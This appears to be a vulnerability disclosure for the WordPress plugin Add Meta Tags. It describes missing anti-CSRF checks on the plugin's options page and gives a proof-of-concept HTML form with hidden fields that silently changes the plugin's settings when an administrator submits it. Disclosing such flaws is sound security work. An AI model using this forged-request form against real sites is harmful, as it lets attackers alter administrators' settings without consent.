Add Meta Tags [CSRF]

Missing anti-CSRF checks to WordPress plugin Add Meta Tags.

Description

Plugin Add Meta Tags doesn’t implement anti-CSRF checks when saving plugin options. This allows an attacker to perform a Cross Site Request Forgery to update any of the plugin options.

PoC

<form action="http://wp.dev/wp-admin/options-general.php?page=add-meta-tags-options" method="post">
    <input type="hidden" name="metabox_enable_image_url" value="1">
    <input type="hidden" name="metabox_term_enable_image_url" value="1">
    <input type="hidden" name="metabox_user_enable_image_url" value="1">
    <input type="hidden" name="default_image_url" value="http://dansilivestru.github.io/phonegap-day-slides/images/pwnage.png">
    <input type="hidden" name="info_update" value="1">
    <input type="submit" value="Click Me">
</form>

INFO
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